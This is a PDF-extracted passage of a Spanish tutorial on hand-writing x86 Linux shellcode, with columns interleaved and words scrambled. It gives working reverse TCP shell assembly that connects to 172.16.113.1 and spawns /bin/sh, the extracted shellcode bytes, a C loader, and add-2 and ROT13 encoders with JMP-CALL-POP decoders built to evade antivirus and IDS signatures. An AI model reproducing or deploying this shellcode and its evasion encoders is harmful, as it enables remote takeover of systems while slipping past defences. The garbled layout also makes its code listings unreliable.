mempcpy(0xb83cf054, 0xb83cf020, 36, 0xb771ce0c)

= 0xb83cf078
sigaction(SIGCHLD, { 0xb770fbc0, ~<31>, 0xfffffffe,

0xffffffff }, nil)
= 0
malloc(16)
= 0xb83cf080
geteuid()
= 0
getppid()
= 5035
__vsnprintf_chk(0xb771d105, 27, 1, -1)
= 4
isatty(0)
= 0
sigaction(SIGINT, nil, { 0, <>, 0, 0xb771ce0c })
= 0
sigfillset(~<31>)
= 0
malloc(16)
= 0xb83cf008
sigaction(SIGINT, { 0, ~<31>, 0xfffffffe, 0xffffffff

}, nil)
= 0
getcwd(0, 0)
= ""
sigaction(SIGQUIT, nil, { 0, <>, 0, 0xb771ce0c })

= 0
__ctype_b_loc()
= 0xb7523908
sigfillset(~<31>)
= 0
__ctype_b_loc()
= 0xb7523908
sigaction(SIGQUIT, { 0, ~<31>, 0xfffffffe, 0xffffffff

}, nil)
= 0
__ctype_b_loc()
= 0xb7523908
strchrnul(0xb7713771, 61, -1, 0xb771ce0c)
= 0xb7713771
strlen("/root/AvEvaders/shellcodes/chapt"...)
= 36
malloc(41)
= 0xb83cf050
sigaction(SIGTERM, nil, { 0, <>, 0, 0xb770ad56 })

= 0
sigfillset(~<31>)
= 0
sigaction(SIGTERM, { 0, ~<31>, 0xfffffffe, 0xffffffff
}, nil)
= 0
read(0
34
read(3,
"\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\
233\1\0004\0\0\0"..., 512) = 512
Y las llamadas al sistema con:

...}) = 0
$ sudo strace ./reverse
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7565000
execve("./reverse", ["./reverse"], [/* 35 vars */]) =
0
brk(0)
= 0x80da000
= -1 ENOENT
mmap2(0xb7709000, 12288, PROT_READ|PROT_WRITE,

0xb7709000
mmap2(0xb770c000, 10876, PROT_READ|PROT_WRITE,
0xb770c000
close(3)
= 0
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb771a000
base_addr:0xb7564940, limit:1048575, seg_32bit:1,
= -1 ENOENT
= 0
mprotect(0xb773e000, 4096, PROT_READ)
= 0

0xb770f000
munmap(0xb770f000, 43989)
= 0
close(3)
= 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
= -1 ENOENT
connect(3, {sa_family=AF_INET, sin_port=htons(2015),

sin_addr=inet_addr("172.16.113.1")}, 16) = 0

...}) = 0
dup2(3, 0)
= 0
dup2(3, 1)
= 1
35
dup2(3, 2)
= 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0

brk(0)
= 0xb7e81000
= -1 ENOENT
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76d2000

= -1 ENOENT
...}) = 0
0xb76c7000
close(4)
= 0
= -1 ENOENT

0xb76c1000
0xb76c4000
close(4)
= 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb751c000

base_addr:0xb751c940, limit:1048575, seg_32bit:1,
mprotect(0xb76c1000, 8192, PROT_READ)
= 0
= 0
mprotect(0xb76f6000, 4096, PROT_READ)
= 0
munmap(0xb76c7000, 43989)
= 0
getpid()
= 5044
rt_sigaction(SIGCHLD, {0xb7708bc0, ~[RTMIN RT_1], 0},

NULL, 8) = 0
read(4,
"\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\
233\1\0004\0\0\0"..., 512) = 512
geteuid32()
= 0
getppid()
= 5041

...}) = 0
brk(0)
= 0xb7e81000
brk(0xb7ea2000)
= 0xb7ea2000
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb751d000
getcwd("/root/AvEvaders/shellcodes/chapter02", 4096)
= 37
36
ioctl(0, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0xbfaa0118) = -1 ENOTTY

(Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0},
NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
duales del tipo socket, bind, listen, accept y tendremos que realizarlas a travs de dicha llamada. En el caso particular de una
shell inversa, emplearemos el identificador SYS_CONNECT
con el valor 3 conforme podemos encontrar en el fichero de definicin /usr/include/linux/net.h (puede verse su contenido con
el comando):
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0},

NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
$ cat /usr/include/linux/net.h
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0},

NULL, 8) = 0
read(0,
En la siguiente seccin, veremos cmo podemos escribir el cdigo necesario en ensamblador para poder realizar nuestra
shellcode.
Por tanto, lo primero ser obtener las llamadas correctas al sistema y se observan las siguientes tres syscall siguientes:
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
Como se esperaba, cualquier llamada del sistema para los

sockets en arquitectura x86-32, se realiza mediante la llamada
multiplexada socketcall por lo que no existen llamadas indivi37
Reverse TCP Shell

push 0x66
; socketcall()
pop eax
cdq
; edx = 0
push edx
; protocol
inc edx
Reverse
TCP Shell en ensamblador
Desarrollo
Comenzaremos
escribir elen
cdigo
del programa
en trabajo
ensambla1.
Conceptosabsicos
ensamblador
para
dor.con
Le denominaremos
reverse.asm y contendr:
sockets
global _start
section .text
push edx
; SOCK_STREAM
mov ebx, edx
; socket()
inc edx
push edx
; AF_INET
mov ecx, esp
; Dir. del array
int 0x80
A continuacin, tendremos que crear los DUP2 para STDIN,

STDOUT y STDERR. Empleamos unos pequeo trucos que
consisten en:
_start:
Lo primero que necesitaremos, ser obtener el descriptor del

socket de la forma socket(AF_INET, SOCK_STREAM, 0); y
que en ensamblador, sera:
a) Emplear un bucle ya que simplemente cambiara el parmetro que pasamos a cada uno (0=STDIN, 1=STDOUT,
2=STDERR)
b) Guardar el descriptor del socket devuelto en EAX en el registro EBX
c) Inicializar el contador en 2 mediante el registro EDX
38
Para ello, tendremos el siguiente cdigo:
xchg ebx, eax
; Guardar descriptor
mov ecx, edx
; Contador = 2
loop:
mov al, 0x3f
; 63
int 0x80
; syscall
dec ecx
push 0x017110AC
; 172.16.113.1
push word 0xDF07
; port
push word bx
; AF_INET
inc ebx
; connect() -> 3
mov ecx, esp
; Puntero estruct.
push 0x10
push ecx
; &serv_addr
push edx
; sockfd
mov ecx, esp
jns loop
int 0x80
A continuacin, podremos realizar el CONNECT de la forma
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); a la direccin y puerto que especifiquemos.
Se emplean las tcnicas de usar el intercambio entre registros

con XCHG y apilar directamente los valores necesarios:
; socketcall()
xchg ebx, edx
; ebx=2, edx=sockfd
; Dir del array de parm.

; sysall socketcall()
Por ltimo, simplemente tendremos que ejecutar EXECVE con

los parmetros adecuados de la forma execve("/bin/sh",
NULL , NULL); y aprovechar directamente la pila para introducir los valores adecuados de /bin/sh y el carcter nulo que marcar el final de la cadena. Se emplea CDQ por simplificacin.
push 0xb
mov al, 0x66
; sizeof(struct sockaddr_in)
; execve()
pop eax
cdq
; edx = 0
mov ecx, edx
; ecx = 0
39
push edx
; Null bytes (string)
push 0x68732f2f
; //sh
push 0x6e69622f
; /bin
mov ebx, esp
; Dir. de /bin/sh
int 0x80
; syscall execve()
En la siguiente seccin, obtendremos una shellcode funcional

en C que podremos compilar y ejecutar mediante gcc.
Por tanto, ya podramos compilar el cdigo con el comando:
$ nasm -f elf32 -o reverse.o reverse.asm
Por ltimo, tendremos que enlazarlo mediante:
$ ld -z execstack -o reverse_asm reverse.o
Y ejecutarlo para comprobar el resultado:
$ sudo ./reverse_asm
40
Reverse TCP Shell
Conversin
de OpCodes
Desarrollo
8048084: 52
push
edx
8048085: 42
inc
edx
8048086: 52
push
edx
8048087: 89 d3
mov
ebx,edx
8048089: 42
inc
edx
804808a: 52
push
edx
804808b: 89 e1
mov
ecx,esp
804808d: cd 80
int
0x80
804808f: 93
xchg
ebx,eax
8048090: 89 d1
mov
ecx,edx
8048092: b0 3f
mov
al,0x3f
8048094: cd 80
int
0x80
8048096: 49
dec
ecx
8048097: 79 f9
jns
8048092 <loop>
8048099: b0 66
mov
al,0x66
804809b: 87 da
xchg
edx,ebx
804809d: 68 ac 10 71 01
push
0x17110ac
80480a2: 66 68 07 df
pushw
0xdf07
80480a6: 66 53
push
bx
80480a8: 43
inc
ebx
80480a9: 89 e1
mov
ecx,esp
80480ab: 6a 10
push
0x10
80480ad: 51
push
ecx
80480ae: 52
push
edx
80480af: 89 e1
mov
ecx,esp
08048092 <loop>:
Desde
nuestro terminal,
observar elpara
cdigo
en en1.
Conceptos
bsicospodremos
en ensamblador
trabajo
samblador
mediante la utilidad objdump con la siguiente sintacon sockets
xis (mostrar slo la seccin de cdigo):
$ objdump -d reverse_asm -M intel
En su salida, observaremos todo el cdigo desensamblado y

podremos eliminar Null Bytes en el mismo. En su salida, observamos:
08048080 <_start>:
8048080: 6a 66
push
0x66
80480b1: cd 80
int
0x80
8048082: 58
pop
eax
80480b3: 6a 0b
push
0xb
8048083: 99
cdq
80480b5: 58
pop
eax
41
80480b6: 99
cdq
80480b7: 89 d1
mov
ecx,edx
80480b9: 52
push
edx
80480ba: 68 2f 2f 73 68
push
0x68732f2f
80480bf: 68 2f 62 69 6e
push
0x6e69622f
80480c4: 89 e3
mov
ebx,esp
80480c6: cd 80
int
0x80
Como no observamos ningn cdigo de operacin nulo, podremos entonces generar nuestra shellcode a partir de los OpCodes de salida de objdump.
Emplearemos el siguiente comando para obtenerlos:
"\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\
x89\xe1\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x4
9\x79\xf9\xb0\x66\x87\xda\x68\xac\x10\x71\x01\
x66\x68\x07\xdf\x66\x53\x43\x89\xe1\x6a\x10\x5
1\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1\
x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8
9\xe3\xcd\x80"
A continuacin, bastar con un sencillo cdigo en C para ejecutar la shellcode que hemos obtenido. Podemos realizarlo escribiendo el cdigo que denominaremos shellcode.c conforme a:
#include <stdio.h>
#include <string.h>
$ objdump -d ./reverse_asm | grep

-f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//
'|sed 's/$/"/g'
Por lo que la salida ser:

"\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\
x89\xe1\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x4
9\x79\xf9\xb0\x66\x87\xda\x68\xac\x10\x71\x01\
x66\x68\x07\xdf\x66\x53\x43\x89\xe1\x6a\x10\x5
1\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1\
x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8
9\xe3\xcd\x80";
int main(void) {
42
printf("Shellcode
strlen(code));
Length:
%d\n",

ret();
}
$ gcc -z execstack -o shellcode shellcode.c
$ sudo ./shellcode
En este caso, la shellcode nos ocupar exactamente 72 bytes

de longitud.
43
Decodificador ASM
En el presente captulo,
escribiremos un
codificador/decodificador
en ensamblador que
podremos emplear para
evadir AVs/IDS/IPS.
Decodificador en ensamblador
Por tanto, ser necesario seguir los siguientes pasos genricos

para su desarrollo:
Desarrollo de la shellcode
Codificacin de la shellcode
Desarrollo
genrico
Desarrollo
UnaDesarrollo
forma que tenemos
de en
evadir
1.
genrico
C AVs, IDS, IPS, etc. consiste
en no emplear patrones conocidos y por tanto, necesitamos
en ciertas ocasiones emplear shellcodes codificadas.
El problema que presenta una shellcode no codificada, es cuando se emplea un sistema de firmas como una proteccin AntiMalware. Por tanto, este tipo de tcnica, ofuscar la shellcode
final a ejecutar.
Escritura del cdigo en ensamblador que permita decodificar

y ejecutar la shellcode
Para trabajar la shellcode, emplearemos una muy sencilla basada en execve() para ejecutar una shell /bin/sh
El cdigo en ensamblador que denominaremos binsh.asm ser el siguiente:
global _start
En este ejercicio, vamos a trabajar con una sencilla shellcode
que posteriormente, desde lenguaje ensamblador, decodificaremos empleando el patrn empleado para codificarla y la ejecutar satisfactoriamente.
section .text
_start:
45

compilamos y enlazaremos de forma estndar:
; execve()
;
xor eax,eax ; eax = 0
$ nams -f elf32 -o binsh.o binsh.asm
$ ld -z execstack -o binsh binsh.o
; Apilar /bin/sh
;
na
# id
mov edx, eax
; Tercer parm. null
mov ecx, eax
; Segundo parm. null
push eax
; null para final cade-
push 0x68732f2f ; hs//

push 0x6e69622f ; nib/
mov ebx, esp
$ sudo ./binsh

# exit
Como de costumbre, procederemos a obtener los OpCodes de

la shellcode mediante:
; Puntero a la cadena
;
; Ejecucin execve()
;
mov al, 0xb
; execve()
int 0x80
; syscall
$ objdump -d ./binsh | grep '[0-9a-f]:'|grep

-v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s '
'|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/
"/g'
Y obtendremos una secuencia de 23 bytes tal como:

46
"\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\
x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x8
0"
Observamos que la salida no contiene ningn carcter nulo

que significara un final de cadena y que posteriormente no podramos emplear desde un lenguaje de alto nivel.
En la siguiente seccin, veremos cmo podemos crear un esquema propio para codificar dicha shellcode desde un lenguaje
de alto nivel.
47
shellcode
=
("\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x
80")
def main(argv):
Codificador
genrico
Desarrollo
Cuando
tenemosgenrico
los OpCodes
1.
Desarrollo
en Cde la shellcode, simplemente
queremos ofuscarlos o codificarlos para evitar la deteccin por
las diferentes firmas.
shellcode_len = len(bytearray(shellcode))
print "Longitud shellcode: %d bytes" %
shellcode_len
encoded = ""
for x in bytearray(shellcode):
x = x + 2
encoded += "0x"
Para ello, en un primer intento de aproximacin, crearemos un

cdigo que simplemente sumar el valor 0x02 a cada byte de
la shellcode.
encoded += "%02x, " %x

print "Encoded: %s" % encoded
if __name__ == "__main__":
En python, podemos desarrollar el siguiente cdigo:
try:
main(sys.argv[1:])
#!/usr/bin/python
import sys
except Exception as e:
print 'Cannot run program.\n', e
48
raise
En la siguiente seccin, veremos cmo podemos crear el cdigo en ensamblador que nos permitir ejecutar dicha shellcode
codificada con dicho esquema.
Para nuestro primer ejemplo, denotar que el cdigo en python

no controla que un byte pueda ser mayor que 255 lo que presentara un problema, salida de caracteres no deseados ni tampoco la ltima coma de la cadena de salida.
Para ejecutarlo, simplemente lo lanzaremos mediante:
$ python codificador.py
Longitud shellcode: 23 bytes
Encoded: 0x33, 0xc2, 0x8b, 0xc4, 0x8b, 0xc3,
0x52, 0x6a, 0x31, 0x31, 0x75, 0x6a, 0x6a,
0x31, 0x64, 0x6b, 0x70, 0x8b, 0xe5, 0xb2,
0x0d, 0xcf, 0x82,
Como podamos calcular, simplemente a cada uno de los cdigos de operacin de la shellcode, se les ha aadido 2, por lo
que el primero quedar como 0x31 + 0x2 = 0x33 y as sucesivamente.
49
global _start
section .text
_start:
jmp short jump_decoder
Decodificador
genrico en ensamblaDesarrollo
dor
1. Desarrollo genrico en C
Una vez que hemos obtenido nuestra shellcode codificada, vamos a implementar en ensamblador el algoritmo para su decodificacin y poder ejecutarla correctamente.
decoder:
; Instrucciones
jump_decoder:
; Decodificar (call)
call decoder
Nos serviremos de una tcnica denominada JMP-CALL-POP

para poder obtener la direccin de la shellcode codificada, decodificarla y poder ejecutarla.
El esqueleto bsico en ensamblador ser el siguiente para poder emplear dicha tcnica (jmpcallpop.asm):
encshellcode:
db 0x, 0x, 0x, ...
len: equ $-encshellcode
Por tanto, procederemos lo primero a incluir nuestra shellcode

codificada en jump_decoder teniendo en cuenta que podemos incluir todas las lneas db que necesitemos y que acaba50
rn sin incluir la coma que obtenamos de la salida del cdigo

de python.
encshellcode:
db 0x33, 0xc2, 0x8b, 0xc4, 0x8b, 0xc3
db 0x52, 0x6a, 0x31, 0x31, 0x75, 0x6a
db 0x6a, 0x31, 0x64, 0x6b, 0x70, 0x8b
Usaremos el esqueleto proporcionado y lo copiaremos a un fichero denominado decode.asm donde pondremos:
$ cp jmpcallpop.asm decode.asm
$ vim decode.asm (incluir shellcode)
db 0xe5, 0xb2, 0x0d, 0xcf, 0x82

len: equ $-encshellcode
Observar que tampoco es necesario que la shellcode codificada finalice con un byte NULO.
$ cat decode.asm
global _start
A continuacin, vamos a escribir el cdigo correspondiente al

decodificador. En el mismo, tendremos que:
section .text
_start:
decoder:
; Instrucciones
jump_decoder:
Obtener la direccin de la shellcode (que recuperaremos de

la pila y que habr guardado el registro ESI debido a la tcnica que hemos empleado). Por ello, ser un cdigo universal
independiente de la posicin donde pudiera residir en memoria una vez cargado el cdigo.
Inicializar un contador mediante el registro ECX
Pasarle al registro ECX la longitud de la shellcode a decodificar (guardada en la etiqueta len)
call decoder
51
Por tanto, nuestro cdigo necesario en ensamblador ser:
decoder:
; Instrucciones
pop esi
; Dir. shellcode
xor ecx, ecx
; ecx = 0
mov ecx, len
; ecx = len(shellcode)
Por lo tanto, ya tendremos todo nuestro cdigo necesario para

poder compilar y enlazar que nos permitir ejecutar la shellcode (de)codificada en tiempo real. Sin embargo, nuestro cdigo,
necesitar escribir en la seccin .text del fichero, por lo que lo
enlazaremos con la opcin -N del linker o de lo contrario, tendremos una violacin de segmento.
Pondremos entonces como de costumbre:

A continuacin, ya podremos proceder a decodificar cada uno
de los bytes de la shellcode. Para ello, tendremos simplemente
que restar 2 al valor que tiene y continuar un bucle hasta llegar
al final de la shellcode. Nuestro cdigo necesario ser:
$ nasm -f elf32 -o decode.o decode.asm

$ ld -z execstack -N -o decode decode.o
$ sudo ./decode
# id
decode:
# exit
sub byte [esi], 0x2 ; Valor - 2

jmp short nextbyte
nal
; Continuar hasta fi-
nextbyte:
inc esi
tual
loop decode
; Siguiente byte
En la siguiente seccin, vamos a realizar el proceso de ingeniera inversa para afianzar todos los conceptos aprendidos en esta seccin y ver cmo, -en su depuracin en tiempo real-, se decodifica nuestra shellcode.
; Decodificar byte ac-
jmp short encshellcode
; Ejecutar
52
El bloque para decodificarla, simplemente pasa al registro CL

(ya que no es necesario emplear otro mayor) la longitud en
bytes de la shellcode codificada
Depuracin
del decodificador
Desarrollo
Es muy
importante
comprender
el cdigo que hemos desarrolla1.
Desarrollo
genrico
en C
do, pues posteriormente, vamos a realizar modificaciones sobre el mismo para permitir una mayor ofuscacin. La mayora
de protecciones, son capaces de continuar el stub para obtener la shellcode original y alertar al usuario.
Los componentes que hemos empleado, son los siguientes:
Shellcode codificada y guardada al final del cdigo como db

Tcnica JMP, CALL, POP ESI para recuperar la direccin en
memoria de la shellcode codificada
Se cuenta con un bucle que permite decodificar byte a byte

toda la shellcode. Para ello, se emplea el registro ESI que
guarda la localizacin del byte actual de la shellcode y simplemente le resta el valor 2. En posteriores refinamientos, podremos emplear tambin el registro EDI para guardar el byte decodificado y no tener que sobreescribir la seccin .text del cdigo.
Mediante objdump obtendremos los nombres empleados por el

cdigo de la forma:
$ objdump -d decode -M intel
Procederemos a cargarlo en un depurador y emplearemos el

GNU Debugger (gdb). Para lanzarlo, lo haremos mediante:
$ gdb -q ./decode
53
Podemos especificar el formato de salida Intel, establecer un

punto de interrupcin en _start y ejecutar el cdigo con:
Ahora, recuperaremos el valor de ESI. Repetiremos el comando anterior:
>>> set disassembly-flavor intel
>>> stepi
>>> b _start
Breakpoint 1 at 0x8048080
>>> run
Veremos que ESI toma el valor 0x08048099 que podremos ver

en memoria mediante que corresponder con la shellcode ofuscada como podremos comprobar:
Veremos que el registro ESI no contiene nada y posteriormente, realizar un salto a _jump_decoder. Ejecutaremos slo dicha instruccin y veremos los registros:
>>> x/23xb $esi
>>> stepi
0x80480a1 <encshellcode+8>:
0x75
0x6a
0x6a
0x31
0x31
0x64
0x31
0x6b
0xe5
0xb2
0x0d
0xcf
0x70
0x82
0x8b
Apuntar entonces a decoder. Ejecutaremos slo esta intruccin (si se pulsa ENTER se repite el anterior comando).
>>> stepi
0x8048099 <encshellcode>: 0x33

0xc2
0xc4
0x8b
0xc3
0x52
0x6a
0x8b
Continuemos depurando el cdigo. Pondremos un breakpoint

en decode y continuaremos de la misma forma:
54
>>> break decode
Como habremos podido comprobar, el primer byte ha pasado

de ser 0x33 - 0x02 a 0x31 como muestra la salida del comando.
Breakpoint 2 at 0x804808a
>>> c
Continuing.
Estaremos detenidos justo en la rutina que restar el valor 0x2

al byte que tenemos referenciado por ESI. Ejecutaremos slo
esta instruccin para comprobarlo y de nuevo, listar el contenido referenciado por ESI:
Pondremos ahora un nuevo breakpoint antes de hacer la llamada a jmp encshellcode para ejecutarla. Para ello, desensamblaremos la parte que nos interesa con:
>>> disas nextbyte

Dump of assembler code for function nextbyte:
0x0804808f <+0>:
>>> stepi
>>> x/23xb $esi
0xc2
0xc4
0x8b
0xc3
0x52
0x6a
0x8b
0x75
0x6a
0x6a
0x31
0x31
0x64
0x31
0x6b
0xe5
0xb2
0x0d
0xcf
0x70
0x82
0x8b
inc
0x08048090 <+1>:
de>
loop
0x08048092 <+3>:
shellcode>
jmp
esi
0x804808a <deco0x8048099 <enc-
End of assembler dump.

>>> b *0x08048092
Y le diremos que continue hasta alcanzar el nuevo punto de interrupcin del jump. Si mantenemos los puntos de interrupcin,
55
se ir deteniendo en cada uno de los marcados. Con ello, podremos examinar detenidamente el contenido apuntado por el
registro ESI.
operaciones ms complejas que no puedan seguir o bien, abandonen por no detectar nada en las primeras operaciones que
realizan y pensar que si entrasen en dicho stub, el sistema se
vera penalizado en rendimiento por lo que no entraran, siendo
algo ms perfeccionados que el ejemplo realizado.
>>> c
Continuing.
Finalmente una vez alcanzado, procederemos a volver a visualizar la shellcode completamente decodificada:
>>> x/24xb 0x08048099

0xc0
0xc2
0x89
0xc1
0x50
0x68
En realidad, ningn codificador es demasiado complejo, slo

depende de la mente que lo desarrolle, ya que existen miles de
formas de conseguir hacer lo mismo de diferentes formas, unas
ms rebuscadas que otras y otras ms simples. En las siguientes secciones, veremos algunas tcnicas que nos permitirn
evadir algunas protecciones mejorando el cdigo anterior de
nuestra shellcode.
0x89
0x73
0x68
0x68
0x2f
0x2f
0x62
0x2f
0x69
0xe3
0xb0
0x0b
0xcd
0x6e
0x80
0x89
0x00
Por tanto, ciertas protecciones no basadas en firmas estticas,

pueden entrar en el stub que hemos creado para comprobar
que no ha sido ofuscado, por lo que tendremos que refinar
nuestro codificador para poder evadirlos mediante el uso de
56
57
ROT13
Desarrollo
ROT13
(rotar 13genrico
posiciones,
a veces con un guion: ROT-13)
1.
Desarrollo
en C
es un sencillo cifrado Csar utilizado para ocultar un texto sustituyendo cada letra por la letra que est trece posiciones por delante en el alfabeto.
ROT13 no proporciona seguridad criptogrfica real y se emplea

como ejemplo cannico de cifrado dbil.
Otra caracterstica de este cifrado es que es simtrico; esto es,

para deshacer el ROT13, se aplica el mismo algoritmo, de manera que para cifrar y descifrar se puede utilizar el mismo cdigo.
Fuente: wikipedia (https://es.wikipedia.org/wiki/ROT13)
Aunque existen variantes como ROT5, ROT47 o memfrob() en

GNU/Linux, podemos aplicar un ROT13 a nuestro cdigo.
La condicin ser aplicar un ROT-n a nuestra shellcode con la

condicin de codificar todos los bytes desde 0x00 (NULL) hasta 0xFF (255 dec) para cubrir todas las posibilidades de los OpCodes que presenta.
58
Partiendo de la shellcode original que conseguimos, tendremos

la secuencia de OpCodes siguientes:
if x < MaxValue:
encoded += "\\x%02x" % (x + ROT)
asm.append("0x%02x" % (x + ROT))
0"
else:
x)
x))
Para ello, podemos escribir el siguiente cdigo en python que

nos permitir codificarla y que denominaremos rot.py:
encoded += "\\x%02x" % (ROT - 256 +

asm.append("0x%02x" % (ROT - 256 +
print "Encoded: %s" % encoded

print "ASM: %s" % ",".join(asm)
#!/usr/bin/env python
Su ejecucin dar como resultado:
shellcode
=
80")
$ python rot.py
ROT = 13
E n c o d e d :
\x3e\xcd\x96\xcf\x96\xce\x5d\x75\x3c\x3c\x80\x
75\x75\x3c\x6f\x76\x7b\x96\xf0\xbd\x18\xda\x8d
# Rot = 13
MaxValue = 256 - ROT

encoded = ""
A S M :
0x3e,0xcd,0x96,0xcf,0x96,0xce,0x5d,0x75,0x3c,0
x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0x
f0,0xbd,0x18,0xda,0x8d
asm = []
59
Por lo tanto, aplicando la misma tcnica JMP, CALL, POP de la

seccin anterior, podremos escribir el cdigo necesario para decodificar dicha secuencia empleando ROT13 o cualquier desplazamiento de un cifrado de tipo Csar con los 256 posibles
valores en ensamblador.
Copiaremos el fichero jmpcallpop.asm al nuevo con el que trabajaremos rot13.asm y completaremos la shellcode codificada.
Adems hemos cambiado el nombre de encshellcode por encoded para simplificarlo al mximo:
global _start
section .text
_start:
db 0x5d,0x75,0x3c,0x3c,0x80,0x75
db 0x75,0x3c,0x6f,0x76,0x7b,0x96
db 0xf0,0xbd,0x18,0xda,0x8d
len: equ $-encoded
A continuacin, tendremos que proceder exactamente igual
que en el cdigo anterior para obtener la direccin de la shellcode codificada, limpiar ECX y pasarle la longitud:
decoder:
; Instrucciones
pop esi
; Dir. Encoded
xor ecx, ecx
; ecx = 0
mov cl, len
; cl = len()

decoder:
; Instrucciones
A continuacin, tendremos que restar simplemente el patrn

empleado para su codificacin (13 en nuestro caso). Sin embargo, es posible que en algn OpCode no podamos realizarlo (debe de devolver un nmero entero positivo) y por tanto, tendremos que comprobarlo antes de hacerlo.
jump_decoder:
call decoder
encoded:
db 0x3e,0xcd,0x96,0xcf,0x96,0xce
Para ello, probamos si podemos restarlo con una simple comparacin de tipo CMP y un salto del tipo JL. El resto de nuestro
cdigo para decodificarlo, ser exactamente igual que el anterior.
60
decode:
cmp byte [esi], 0xD ; Podemos restar 13?
jl vuelta
; No se puede, saltar
sub byte [esi], 0xD ; Restar 13

jmp short nextbyte
; Seguir con el resto
| JNE/
| Jump if not equal
| ZF = 0
| JNZ
| Jump if not zero
+--------+------------------------------+-------------+--------------------+
| JP/
| Jump if parity
| PF = 1
| JPE
| Jump if parity even
+--------+------------------------------+-------------+--------------------+
| JNP/
| Jump if no parity
| PF = 0
| JPO
| Jump if parity odd
+--------+------------------------------+-------------+--------------------+
Para los saltos condicionales, es necesario comprobar los

FLAGS ya que en funcin de aquello que nos encontremos buscando, deberemos proceder de un modo u otro.
| JCXZ/
| Jump if CX is zero
| CX = 0
| JECXZ
| Jump if ECX is zero
| ECX = 0
+--------+------------------------------+-------------+--------------------+
Si son sin signo (unsigned) tendremos:

En caso que sea del tipo Signedness tendremos:
+--------+------------------------------+-------------+--------------------+
+--------+------------------------------+-------------+--------------------+
|Instr
| Description
| signedness
| Flags
+--------+------------------------------+-------------+--------------------+
| JO
| Jump if overflow
| OF = 1
+--------+------------------------------+-------------+--------------------+
| JNO
| Jump if not overflow
| OF = 0
+--------+------------------------------+-------------+--------------------+
| JS
| Jump if sign
| SF = 1
+--------+------------------------------+-------------+--------------------+
| JNS
| Jump if not sign
| SF = 0
+--------+------------------------------+-------------+--------------------+
| JE/
| Jump if equal
| ZF = 1
| JZ
| Jump if zero
+--------+------------------------------+-------------+--------------------+
|Instr
| Description
| signedness
| Flags
+--------+------------------------------+-------------+--------------------+
| JB/
| Jump if below
| unsigned
| CF = 1
| JNAE/
| Jump if not above or equal
| JC
| Jump if carry
+--------+------------------------------+-------------+--------------------+
| JNB/
| Jump if not below
| unsigned
| CF = 0
| JAE/
| Jump if above or equal
| JNC
| Jump if not carry
+--------+------------------------------+-------------+--------------------+
| JBE/
| Jump if below or equal
| unsigned
| CF = 1 or ZF = 1
| JNA
| Jump if not above
+--------+------------------------------+-------------+--------------------+
| JA/
| Jump if above
| unsigned
| CF = 0 and ZF = 0
61
| JNBE
| Jump if not below or equal
+--------+------------------------------+-------------+--------------------+
Para ello, en ensamblador tendremos que escribir:
vuelta:
Y por ltimo, con signo (signed) tendremos:
xor edx, edx
; edx = 0
mov dl, 0xD
; edx = 13
sub dl, byte [esi]
; 13 - valor_byte
+--------+------------------------------+-------------+--------------------+
xor ebx,ebx
; ebx = 0
| JL/
| Jump if less
| JNGE
| Jump if not greater or equal |
mov bl, 0xff
+--------+------------------------------+-------------+--------------------+
|Instr
| Description
| signedness
| signed
| Flags
| SF <> OF
+--------+------------------------------+-------------+--------------------+
| JGE/
| Jump if greater or equal
| signed
| SF = OF
| JNL
| Jump if not less
+--------+------------------------------+-------------+--------------------+
| JLE/
| Jump if less or equal
| signed
| ZF = 1 or SF <> OF |
| JNG
| Jump if not greater
; Guardar 0x100 sin null
inc ebx
sub bx, dx
; 256 - (13 - valor_byte)
mov byte [esi], bl
; Guardar valor decod.
+--------+------------------------------+-------------+--------------------+
| JG/
| Jump if greater
| signed
| ZF = 0 and SF = OF |
| JNLE
| Jump if not less or equal
+--------+------------------------------+-------------+--------------------+
Como habremos observado, nuestra condicin tras la comparacin es JL (jump if less) con operaciones con signo. Por tanto,
